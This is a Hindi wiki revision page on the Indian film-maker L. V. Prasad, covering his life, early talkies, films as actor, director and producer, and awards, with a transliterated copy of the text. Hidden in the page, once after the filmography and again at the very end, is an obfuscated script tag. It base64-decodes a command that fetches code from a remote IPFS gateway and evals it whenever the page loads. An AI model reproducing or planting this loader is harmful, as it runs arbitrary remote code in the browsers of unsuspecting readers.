Difference between revisions of "एल. वी. प्रसाद"
[unchecked revision] | [unchecked revision] |
(''''अक्कीनेनी लक्ष्मी वारा प्रसाद राव''' (जन्म- 17 जनवरी, ...' के साथ नया पन्ना बनाया) |
|||
(13 intermediate revisions by 3 users not shown) | |||
Line 1: | Line 1: | ||
− | '''अक्कीनेनी लक्ष्मी वारा प्रसाद राव''' | + | {{सूचना बक्सा कलाकार |
+ | |चित्र=L.V.-Prasad.jpg | ||
+ | |चित्र का नाम=एल. वी. प्रसाद | ||
+ | |पूरा नाम=अक्कीनेनी लक्ष्मी वारा प्रसाद राव | ||
+ | |प्रसिद्ध नाम=एल. वी. प्रसाद | ||
+ | |अन्य नाम= | ||
+ | |जन्म=[[17 जनवरी]], [[1908]] | ||
+ | |जन्म भूमि=इलुरु तालुका, [[आन्ध्र प्रदेश]] | ||
+ | |मृत्यु=[[22 जून]], [[1994]] | ||
+ | |मृत्यु स्थान= | ||
+ | |अभिभावक=अक्कीनेनी श्रीरामुलु और बासवम्मा | ||
+ | |पति/पत्नी= | ||
+ | |संतान= | ||
+ | |कर्म भूमि=[[भारत]] | ||
+ | |कर्म-क्षेत्र=फ़िल्म निर्माता-निर्देशक | ||
+ | |मुख्य रचनाएँ= | ||
+ | |मुख्य फ़िल्में='आलम आरा', 'कालीदास', 'भक्त प्रह्लाद', 'हमराही', 'खिलौना', 'मेरा घर मेरे बच्चे', 'विदाई', 'एक दूजे के लिए', 'शारदा' और 'छोटी बहन' आदि। | ||
+ | |विषय= | ||
+ | |शिक्षा= | ||
+ | |विद्यालय= | ||
+ | |पुरस्कार-उपाधि='[[दादा साहब फाल्के पुरस्कार]]' ([[1982]]), 'फ़िल्म फ़ेयर अवार्ड' | ||
+ | |प्रसिद्धि= | ||
+ | |विशेष योगदान= | ||
+ | |नागरिकता=भारतीय | ||
+ | |संबंधित लेख= | ||
+ | |शीर्षक 1= | ||
+ | |पाठ 1= | ||
+ | |शीर्षक 2= | ||
+ | |पाठ 2= | ||
+ | |अन्य जानकारी=एल. वी. प्रसाद की फ़िल्म 'छोटी बहन' में [[लता मंगेशकर]] द्वारा गाया गया का गीत "भइया मेरे राखी के बंधन को निभाना" बेहद लोकप्रिय हुआ था। | ||
+ | |बाहरी कड़ियाँ= | ||
+ | |अद्यतन= | ||
+ | }} | ||
+ | '''एल. वी. प्रसाद''' (पूरा नाम '''अक्कीनेनी लक्ष्मी वारा प्रसाद राव'''; [[अंग्रेज़ी]]: ''L. V. Prasad''; जन्म- [[17 जनवरी]], [[1908]], [[आन्ध्र प्रदेश]]; मृत्यु- [[22 जून]], [[1994]]) [[भारतीय सिनेमा]] में एक सफल फ़िल्मकार, निर्माता-निर्देशक और [[अभिनेता]] के रूप में याद किये जाते हैं। [[एन. टी. रामाराव]] सहित कई कलाकारों के सिने कैरियर में चार चाँद लगाने वाले एल. वी. प्रसाद [[दक्षिण भारत]] की विभिन्न [[भाषा|भाषाओं]] के अलावा [[हिन्दी]] फ़िल्मों में भी सफल रहे थे। उन्होंने सामाजिक उद्देश्यों के साथ कई मनोरंजक फ़िल्में बनाईं। | ||
==जन्म तथा शिक्षा== | ==जन्म तथा शिक्षा== | ||
− | एल. वी. प्रसाद का जन्म 17 जनवरी, 1908 को आन्ध्र प्रदेश के इलुरु | + | एल. वी. प्रसाद का जन्म 17 जनवरी, 1908 को आन्ध्र प्रदेश के इलुरु तालुका में एक किसान [[परिवार]] में हुआ था। इनके [[पिता]] का नाम अक्कीनेनी श्रीरामुलु और [[माता]] बासवम्मा थीं। एल. वी. प्रसाद का लालन-पालन बहुत ही लाड़-प्यार के साथ हुआ था। वे प्रारम्भ से ही बहुत बुद्धिमान थे, किंतु उनका पढ़ाई में ध्यान बिल्कुल भी नहीं लगता था। कम उम्र में ही वे [[नाटक|नाटकों]] और [[नृत्य]] मंडलियों की ओर आकर्षित हो गए थे। इन्हीं सपनों को लेकर वे एक दिन घर छोड़कर [[मुंबई]] चले आये। लेकिन उनका ये सफर आसान नहीं रहा और उन्हें तमाम तरह की मुसीबतों का सामना करना पड़ा। दृढ़ निश्चयी एल. वी. प्रसाद ने हार नहीं मानी और अंतत: सफलता ने उनके कदम चूमे।<ref name="ab">{{cite web |url=http://hindi.webdunia.com/entertainment/film/article/0906/22/1090622056_1.htm|title=सफल फ़िल्मकार एल.वी. प्रसाद|accessmonthday= 16 फ़रवरी|accessyear=2013|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref> |
+ | ====फ़िल्मी शुरुआत==== | ||
+ | एल. वी. प्रसाद ने [[भारत]] की तीन भाषाओं की पहली बोलती फ़िल्मों में काम किया। उन्होंने वर्ष [[1931]] में प्रदर्शित आर्देशिर ईरानी की फ़िल्म 'आलम आरा' के अतिरिक्त 'कालिदास' और 'भक्त प्रह्लाद' में काम किया। '[[आलम आरा]]' जहाँ [[हिन्दी]] की पहली बोलती फ़िल्म थी, वहीं 'कालिदास' पहली [[तमिल भाषा]] की बोलती फ़िल्म थी और 'भक्त प्रह्लाद' पहली [[तेलुगु भाषा|तेलुगु]] बोलती फ़िल्म थी। | ||
+ | ==प्रसिद्ध कलाकारों के साथ कार्य== | ||
+ | एल. वी. प्रसाद ने [[हिन्दी|हिन्दी भाषा]] में कई चर्चित फ़िल्में बनाईं। इन फ़िल्मों में 'शारदा', 'छोटी बहन', 'बेटी बेटे', 'दादी माँ', 'शादी के बाद', 'हमराही', 'मिलन', 'राजा और रंक', 'खिलौना', 'एक दूजे के लिए' आदि शामिल हैं। उनकी फ़िल्में प्राय: सामाजिक उद्देश्यों के साथ स्वस्थ मनोरंजन पर केंद्रित हुआ करती थीं। उन्होंने प्रसिद्ध कलाकारों [[राज कपूर]], [[मीना कुमारी]], [[संजीव कुमार]], [[कमल हासन]], [[राजेंद्र कुमार]], [[सुनील दत्त]], [[अशोक कुमार]], [[शत्रुघ्न सिन्हा]], [[शशि कपूर]], [[प्राण]], [[मुमताज (अभिनेत्री)|मुमताज]] और राखी जैसे बड़े सितारों के साथ काम किया।<ref name="ab"/> | ||
+ | ====महमूद की हास्य भूमिका==== | ||
+ | [[चित्र:L-V-Prasad-Stamp.jpg|thumb|250px|एल. वी. प्रसाद पर [[डाक टिकट]]]] | ||
+ | वर्ष [[1961]] में एल. वी. प्रसाद की फ़िल्म 'ससुराल' से अभिनेता महमूद पूरी तरह कॉमेडियन बन गए। वे अब अधिकांश फ़िल्मों में हास्य भूमिका ही निभाने लगे थे। राजेंद्र कुमार और वी. सरोजा देवी अभिनीत इस फ़िल्म में उनके अपोजिट शुभा खोटे थीं। शुभा खोटे के साथ महमूद की जोड़ी बहुत हिट हुई। यह जोड़ी बाद में फ़िल्म 'दिल तेरा दीवाना', 'गोदान', 'हमराही', 'गृहस्थी', 'भरोसा', 'जिद्दी' और 'लव इन टोकियो' जैसी अनेक फ़िल्मों में भी आई।<ref>{{cite web |url=http://www.dailynewsnetwork.in/news/fmclassic/22072012/mahmud-ali-/68030.html|title=मस्ताना कॉमेडियन |accessmonthday=16 फ़रवरी|accessyear=2013|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref> | ||
+ | ==फ़िल्म 'छोटी बहन'== | ||
+ | निर्माता एल. वी. प्रसाद की वर्ष [[1959]] में प्रदर्शित फ़िल्म 'छोटी बहन' संभवत: पहली फ़िल्म थी, जिसमें भाई और बहन के प्यार भरे अटूट रिश्ते को रूपहले परदे पर दिखाया गया था। इस फ़िल्म में [[बलराज साहनी]] ने बड़े भाई और अभिनेत्री [[नन्दा]] ने छोटी बहन की भूमिका निभायी थी। इस फ़िल्म में [[शैलेन्द्र]] का लिखा और [[लता मंगेशकर]] द्वारा गाया का गीत "भइया मेरे राखी के बंधन को निभाना" बेहद लोकप्रिय हुआ था। [[रक्षा बंधन]] के गीतों में इस गीत का विशिष्ट स्थान आज भी बरकरार है। इसके बाद निर्माता-निर्देशक ए. भीम सिंह ने भाई-बहन के रिश्ते पर आधारित दो और फ़िल्में 'राखी' और 'भाई-बहन' बनायी। वर्ष [[1962]] में प्रदर्शित फ़िल्म 'राखी' में [[अशोक कुमार]] और [[वहीदा रहमान]] ने भाई-बहन की भूमिका निभायी थी।<ref>{{cite web |url=http://www.pradeshtoday.com/new_details.php?news=Hindi+film+song+by+the+invisible+thread |title=फ़िल्मों से गायब हुए राखी के गीत|accessmonthday=16 फ़रवरी|accessyear=2013|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref> | ||
+ | ==फ़िल्में== | ||
+ | एल. वी. प्रसाद ने एक निर्माता-निर्देशक होने के साथ-साथ कई फ़िल्मों में बतौर अभिनेता भी कार्य किया था। कुछ फ़िल्मों के नाम निम्नलिखित हैं- | ||
+ | {| width="60%" class="bharattable-pink" | ||
+ | |+बतौर अभिनेता | ||
+ | |- | ||
+ | ! फ़िल्म | ||
+ | ! वर्ष | ||
+ | ! फ़िल्म | ||
+ | ! वर्ष | ||
+ | |- | ||
+ | |आलम आरा | ||
+ | |1931 | ||
+ | |भक्त प्रह्लाद | ||
+ | |1931 | ||
+ | |- | ||
+ | |कालीदास | ||
+ | |1931 | ||
+ | |सीता स्वयंवर | ||
+ | |1933 | ||
+ | |- | ||
+ | |बोंडम पेल्ली | ||
+ | |1940 | ||
+ | |चडुवुकुन्ना भार्या | ||
+ | |1940 | ||
+ | |- | ||
+ | |राजा पारवई | ||
+ | |1982 | ||
+ | | | ||
+ | | | ||
+ | |} | ||
+ | {| width="60%" class="bharattable-pink" | ||
+ | |+बतौर निर्देशक | ||
+ | |- | ||
+ | ! फ़िल्म | ||
+ | ! वर्ष | ||
+ | ! फ़िल्म | ||
+ | ! वर्ष | ||
+ | |- | ||
+ | |ससुराल | ||
+ | |1961 | ||
+ | |हमराही | ||
+ | |1963 | ||
+ | |- | ||
+ | |मिलन | ||
+ | |1967 | ||
+ | |राजा और रंक | ||
+ | |1968 | ||
+ | |- | ||
+ | |खिलौना | ||
+ | |1970 | ||
+ | |उधार का सिन्दूर | ||
+ | |1976 | ||
+ | |- | ||
+ | |ये कैसा इंसाफ | ||
+ | |1980 | ||
+ | |एक दूजे के लिए | ||
+ | |1981 | ||
+ | |- | ||
+ | |मेरा घर मेरे बच्चे | ||
+ | |1985 | ||
+ | |स्वाती | ||
+ | |1986 | ||
+ | |- | ||
+ | |बिदाई | ||
+ | |1990 | ||
+ | |अर्चना | ||
+ | |1993 | ||
+ | |- | ||
+ | |नागपंचमी | ||
+ | |1994 | ||
+ | |सन्ध्याधरा | ||
+ | |1994 | ||
+ | |- | ||
+ | |मयर कथा | ||
+ | |1996 | ||
+ | |सुनापुआ | ||
+ | |1996 | ||
+ | |} | ||
+ | {| width="60%" class="bharattable-pink" | ||
+ | |+बतौर निर्माता और निर्देशक | ||
+ | |- | ||
+ | ! फ़िल्म | ||
+ | ! वर्ष | ||
+ | ! फ़िल्म | ||
+ | ! वर्ष | ||
+ | |- | ||
+ | |शारदा | ||
+ | |1957 | ||
+ | |छोटी बहन | ||
+ | |1957 | ||
+ | |- | ||
+ | |बेटी बेटे | ||
+ | |1964 | ||
+ | |दादी माँ | ||
+ | |1966 | ||
+ | |- | ||
+ | |जीने की राह | ||
+ | |1969 | ||
+ | |शादी के बाद | ||
+ | |1972 | ||
+ | |- | ||
+ | |बिदाई | ||
+ | |1974 | ||
+ | |जय विजय | ||
+ | |1977 | ||
+ | |} | ||
+ | ==पुरस्कार व सम्मान== | ||
+ | जीवन के अंतिम दौर तक सार्वजनिक रूप से सक्रिय रहे एल. वी. प्रसाद को कई प्रतिष्ठित सम्मानों से भी नवाजा गया था। उन्हें फ़िल्मों में विशेष योगदान के लिए देश का सर्वोच्च सम्मान "[[दादा साहब फाल्के पुरस्कार]]" वर्ष [[1982]] में प्रदान किया गया था। इसके अतिरिक्त फ़िल्म 'खिलौना' के लिए उन्हें 'फ़िल्म फ़ेयर अवार्ड' भी दिया गया। | ||
+ | ====निधन==== | ||
+ | भारतीय सिनेमा में विशिष्ट योगदान देने वाले एल. वी. प्रसाद का निधन [[22 जून]], [[1994]] हुआ। प्रसाद जी ऐसे फ़िल्मकार के रूप में प्रसिद्ध थे, जो एक ही साथ कई विभिन्न भाषाओं में फ़िल्म बनाते रहे। उनकी फ़िल्मों में जहाँ कहानी और संवाद पर विशेष तौर पर काम किया जाता था, वहीं [[संगीत]] पक्ष पर भी काफ़ी जोर दिया जाता था। उनकी फ़िल्मों के कई गीत अब भी काफ़ी लोकप्रिय हैं। | ||
+ | |||
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }} | {{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }} | ||
Line 8: | Line 161: | ||
==बाहरी कड़ियाँ== | ==बाहरी कड़ियाँ== | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
− | {{फ़िल्म निर्माता और निर्देशक}} | + | {{फ़िल्म निर्माता और निर्देशक}}{{दादा साहब फाल्के पुरस्कार}} |
− | [[Category:फ़िल्म निर्माता]][[Category:फ़िल्म निर्देशक]][[Category:सिनेमा]][[Category:सिनेमा कोश]][[Category:कला कोश]][[Category:चरित कोश]] | + | [[Category:फ़िल्म निर्माता]][[Category:फ़िल्म निर्देशक]][[Category:सिनेमा]][[Category:दादा साहब फाल्के पुरस्कार]][[Category:सिनेमा कोश]][[Category:कला कोश]][[Category:चरित कोश]] |
__INDEX__ | __INDEX__ | ||
− |
Latest revision as of 10:57, 3 March 2024
el. vi. prasad
| |
poora nam | akkineni lakshmi vara prasad rav |
prasiddh nam | el. vi. prasad |
janm | 17 janavari, 1908 |
janm bhoomi | iluru taluka, andhr pradesh |
mrityu | 22 joon, 1994 |
abhibhavak | akkineni shriramulu aur basavamma |
karm bhoomi | bharat |
karm-kshetr | film nirmata-nirdeshak |
mukhy filmean | 'alam ara', 'kalidas', 'bhakt prahlad', 'hamarahi', 'khilauna', 'mera ghar mere bachche', 'vidaee', 'ek dooje ke lie', 'sharada' aur 'chhoti bahan' adi. |
puraskar-upadhi | 'dada sahab phalke puraskar' (1982), 'film feyar avard' |
nagarikata | bharatiy |
any janakari | el. vi. prasad ki film 'chhoti bahan' mean lata mangeshakar dvara gaya gaya ka git "bhiya mere rakhi ke bandhan ko nibhana" behad lokapriy hua tha. |
el. vi. prasad (poora nam akkineni lakshmi vara prasad rav; aangrezi: L. V. Prasad; janm- 17 janavari, 1908, andhr pradesh; mrityu- 22 joon, 1994) bharatiy sinema mean ek saphal filmakar, nirmata-nirdeshak aur abhineta ke roop mean yad kiye jate haian. en. ti. ramarav sahit kee kalakaroan ke sine kairiyar mean char chaand lagane vale el. vi. prasad dakshin bharat ki vibhinn bhashaoan ke alava hindi filmoan mean bhi saphal rahe the. unhoanne samajik uddeshyoan ke sath kee manoranjak filmean banaeean.
janm tatha shiksha
el. vi. prasad ka janm 17 janavari, 1908 ko andhr pradesh ke iluru taluka mean ek kisan parivar mean hua tha. inake pita ka nam akkineni shriramulu aur mata basavamma thian. el. vi. prasad ka lalan-palan bahut hi la d-pyar ke sath hua tha. ve prarambh se hi bahut buddhiman the, kiantu unaka padhaee mean dhyan bilkul bhi nahian lagata tha. kam umr mean hi ve natakoan aur nrity mandaliyoan ki or akarshit ho ge the. inhian sapanoan ko lekar ve ek din ghar chho dakar muanbee chale aye. lekin unaka ye saphar asan nahian raha aur unhean tamam tarah ki musibatoan ka samana karana p da. dridh nishchayi el. vi. prasad ne har nahian mani aur aantat: saphalata ne unake kadam choome.[1]
filmi shuruat
el. vi. prasad ne bharat ki tin bhashaoan ki pahali bolati filmoan mean kam kiya. unhoanne varsh 1931 mean pradarshit ardeshir eerani ki film 'alam ara' ke atirikt 'kalidas' aur 'bhakt prahlad' mean kam kiya. 'alam ara' jahaan hindi ki pahali bolati film thi, vahian 'kalidas' pahali tamil bhasha ki bolati film thi aur 'bhakt prahlad' pahali telugu bolati film thi.
prasiddh kalakaroan ke sath kary
el. vi. prasad ne hindi bhasha mean kee charchit filmean banaeean. in filmoan mean 'sharada', 'chhoti bahan', 'beti bete', 'dadi maan', 'shadi ke bad', 'hamarahi', 'milan', 'raja aur rank', 'khilauna', 'ek dooje ke lie' adi shamil haian. unaki filmean pray: samajik uddeshyoan ke sath svasth manoranjan par keandrit hua karati thian. unhoanne prasiddh kalakaroan raj kapoor, mina kumari, sanjiv kumar, kamal hasan, rajeandr kumar, sunil datt, ashok kumar, shatrughn sinha, shashi kapoor, pran, mumataj aur rakhi jaise b de sitaroan ke sath kam kiya.[1]
mahamood ki hasy bhoomika
[[chitr:L-V-Prasad-Stamp.jpg|thumb|250px|el. vi. prasad par dak tikat]] varsh 1961 mean el. vi. prasad ki film 'sasural' se abhineta mahamood poori tarah k aaumediyan ban ge. ve ab adhikaansh filmoan mean hasy bhoomika hi nibhane lage the. rajeandr kumar aur vi. saroja devi abhinit is film mean unake apojit shubha khote thian. shubha khote ke sath mahamood ki jo di bahut hit huee. yah jo di bad mean film 'dil tera divana', 'godan', 'hamarahi', 'grihasthi', 'bharosa', 'jiddi' aur 'lav in tokiyo' jaisi anek filmoan mean bhi aee.[2]
film 'chhoti bahan'
nirmata el. vi. prasad ki varsh 1959 mean pradarshit film 'chhoti bahan' sanbhavat: pahali film thi, jisamean bhaee aur bahan ke pyar bhare atoot rishte ko roopahale parade par dikhaya gaya tha. is film mean balaraj sahani ne b de bhaee aur abhinetri nanda ne chhoti bahan ki bhoomika nibhayi thi. is film mean shailendr ka likha aur lata mangeshakar dvara gaya ka git "bhiya mere rakhi ke bandhan ko nibhana" behad lokapriy hua tha. raksha bandhan ke gitoan mean is git ka vishisht sthan aj bhi barakarar hai. isake bad nirmata-nirdeshak e. bhim sianh ne bhaee-bahan ke rishte par adharit do aur filmean 'rakhi' aur 'bhaee-bahan' banayi. varsh 1962 mean pradarshit film 'rakhi' mean ashok kumar aur vahida rahaman ne bhaee-bahan ki bhoomika nibhayi thi.[3]
filmean
el. vi. prasad ne ek nirmata-nirdeshak hone ke sath-sath kee filmoan mean bataur abhineta bhi kary kiya tha. kuchh filmoan ke nam nimnalikhit haian-
film | varsh | film | varsh |
---|---|---|---|
alam ara | 1931 | bhakt prahlad | 1931 |
kalidas | 1931 | sita svayanvar | 1933 |
boandam pelli | 1940 | chaduvukunna bharya | 1940 |
raja paravee | 1982 |
film | varsh | film | varsh |
---|---|---|---|
sasural | 1961 | hamarahi | 1963 |
milan | 1967 | raja aur rank | 1968 |
khilauna | 1970 | udhar ka sindoor | 1976 |
ye kaisa iansaph | 1980 | ek dooje ke lie | 1981 |
mera ghar mere bachche | 1985 | svati | 1986 |
bidaee | 1990 | archana | 1993 |
nagapanchami | 1994 | sandhyadhara | 1994 |
mayar katha | 1996 | sunapua | 1996 |
film | varsh | film | varsh |
---|---|---|---|
sharada | 1957 | chhoti bahan | 1957 |
beti bete | 1964 | dadi maan | 1966 |
jine ki rah | 1969 | shadi ke bad | 1972 |
bidaee | 1974 | jay vijay | 1977 |
puraskar v samman
jivan ke aantim daur tak sarvajanik roop se sakriy rahe el. vi. prasad ko kee pratishthit sammanoan se bhi navaja gaya tha. unhean filmoan mean vishesh yogadan ke lie desh ka sarvochch samman "dada sahab phalke puraskar" varsh 1982 mean pradan kiya gaya tha. isake atirikt film 'khilauna' ke lie unhean 'film feyar avard' bhi diya gaya.
nidhan
bharatiy sinema mean vishisht yogadan dene vale el. vi. prasad ka nidhan 22 joon, 1994 hua. prasad ji aise filmakar ke roop mean prasiddh the, jo ek hi sath kee vibhinn bhashaoan mean film banate rahe. unaki filmoan mean jahaan kahani aur sanvad par vishesh taur par kam kiya jata tha, vahian sangit paksh par bhi kafi jor diya jata tha. unaki filmoan ke kee git ab bhi kafi lokapriy haian.
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ 1.0 1.1 saphal filmakar el.vi. prasad (hindi). . abhigaman tithi: 16 faravari, 2013.
- ↑ mastana k aaumediyan (hindi). . abhigaman tithi: 16 faravari, 2013.
- ↑ filmoan se gayab hue rakhi ke git (hindi). . abhigaman tithi: 16 faravari, 2013.
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>